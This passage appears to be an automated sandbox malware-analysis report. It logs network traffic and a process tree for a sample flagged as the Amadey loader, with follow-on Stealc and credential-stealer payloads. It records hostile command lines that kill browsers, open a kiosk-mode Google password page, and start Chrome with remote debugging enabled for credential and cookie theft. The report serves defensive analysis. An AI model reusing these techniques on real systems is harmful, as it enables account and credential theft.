2024-11-19 21:07:09 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:10 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: d4692a3e-f01e-005d-3d8c-3a13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210709Z-1777c6cb754xrr98hC1TEB3kag00000008h0000000005zm0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:10 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49887	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:09 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:10 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: 5c7867cf-401e-0083-798c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210709Z-r1d97b995774n5h6hC1TEBvf8400000007u000000000gqen x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:07:10 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Target ID:	0
Start time:	16:05:56
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb10000
File size:	1'903'616 bytes
MD5 hash:	6232A1AA692FE2B9F3F8E67D35C7DAB7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1696224800.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1736883907.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	16:05:59
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd00000
File size:	1'903'616 bytes
MD5 hash:	6232A1AA692FE2B9F3F8E67D35C7DAB7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1725431079.00000000050B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1765764541.0000000000D01000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	16:05:59
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd00000
File size:	1'903'616 bytes
MD5 hash:	6232A1AA692FE2B9F3F8E67D35C7DAB7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1767721073.0000000000D01000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1727096643.00000000054D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	6
Start time:	16:07:00
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd00000
File size:	1'903'616 bytes
MD5 hash:	6232A1AA692FE2B9F3F8E67D35C7DAB7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2331510812.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	7
Start time:	16:07:08
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe"
Imagebase:	0x190000
File size:	4'404'224 bytes
MD5 hash:	ABF203DD0126AD56347D05E2C0F48322
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Target ID:	8
Start time:	16:07:14
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe"
Imagebase:	0xfa0000
File size:	1'877'504 bytes
MD5 hash:	39056519241048010FBA1480BF5D5CD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	10
Start time:	16:07:21
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe"
Imagebase:	0xe60000
File size:	1'792'512 bytes
MD5 hash:	B3CEC29DFCC248BC4F4F33FF5BA14470
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2546846657.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Target ID:	11
Start time:	16:07:30
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe"
Imagebase:	0xfa0000
File size:	1'877'504 bytes
MD5 hash:	39056519241048010FBA1480BF5D5CD3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2731194742.0000000001AAD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	12
Start time:	16:07:31
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe"
Imagebase:	0xb80000
File size:	922'624 bytes
MD5 hash:	8952118CBD8AAC309AF40B7BA020AC8E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	13
Start time:	16:07:31
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x4e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	16:07:31
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	15
Start time:	16:07:33
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x4e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	16
Start time:	16:07:33
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6e29c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	17
Start time:	16:07:33
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x4e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	18
Start time:	16:07:33
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	16:07:34
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x4e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	20
Start time:	16:07:34
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	21
Start time:	16:07:34
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x4e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	22
Start time:	16:07:34
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	23
Start time:	16:07:34
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	24
Start time:	16:07:34
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	25
Start time:	16:07:34
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	27
Start time:	16:07:35
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {056c1829-1489-4462-84f6-93cc61eafcc5} 6324 "\\.\pipe\gecko-crash-server-pipe.6324" 142eea70d10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	28
Start time:	16:07:36
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe"
Imagebase:	0xca0000
File size:	2'766'848 bytes
MD5 hash:	333B260426A661DCADD5C016AB149ECB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	true

Target ID:	29
Start time:	16:07:37
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	30
Start time:	16:07:37
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2264,i,3408409767648630959,14384072730844611425,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	31
Start time:	16:07:38
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe"
Imagebase:	0xe60000
File size:	1'792'512 bytes
MD5 hash:	B3CEC29DFCC248BC4F4F33FF5BA14470
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000003.2727804477.0000000005450000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Target ID:	32
Start time:	16:07:41
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1500 -parentBuildID 20230927232528 -prefsHandle 1592 -prefMapHandle 1588 -prefsLen 26208 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f9228ff8-9980-4fa2-9141-b9f58deda460} 6324 "\\.\pipe\gecko-crash-server-pipe.6324" 142eea40e10 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	33
Start time:	16:07:48
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=074873f122.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	34
Start time:	16:07:48
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	35
Start time:	16:07:49
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=1964,i,5845654631187663994,2567746143753107217,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	36
Start time:	16:07:53
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2436,i,13671840630298564156,2498455928288971155,262144 /prefetch:8
Imagebase:	0x7ff71e800000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	37
Start time:	16:07:56
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe"
Imagebase:	0xca0000
File size:	2'766'848 bytes
MD5 hash:	333B260426A661DCADD5C016AB149ECB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	38
Start time:	16:08:05
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe"
Imagebase:	0xfa0000
File size:	1'877'504 bytes
MD5 hash:	39056519241048010FBA1480BF5D5CD3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	39
Start time:	16:08:08
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5008 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 2772 -prefMapHandle 5000 -prefsLen 33432 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3d4cebb5-683c-4393-aef5-39b16f43d113} 6324 "\\.\pipe\gecko-crash-server-pipe.6324" 143007c8110 utility
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	40
Start time:	16:08:09
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCFBAFBF.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	41
Start time:	16:08:09
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	42
Start time:	16:08:09
Start date:	19/11/2024
Path:	C:\Users\user\DocumentsJDGCFBAFBF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJDGCFBAFBF.exe"
Imagebase:	0x9d0000
File size:	1'903'616 bytes
MD5 hash:	6232A1AA692FE2B9F3F8E67D35C7DAB7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	false

Target ID:	43
Start time:	16:08:15
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5268 --field-trial-handle=1964,i,5845654631187663994,2567746143753107217,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	44
Start time:	16:08:16
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=074873f122.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	45
Start time:	16:08:17
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=1984,i,3123970943931403646,18259308143120188445,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	46
Start time:	16:08:22
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe"
Imagebase:	0xb80000
File size:	922'624 bytes
MD5 hash:	8952118CBD8AAC309AF40B7BA020AC8E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	47
Start time:	16:08:22
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x650000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
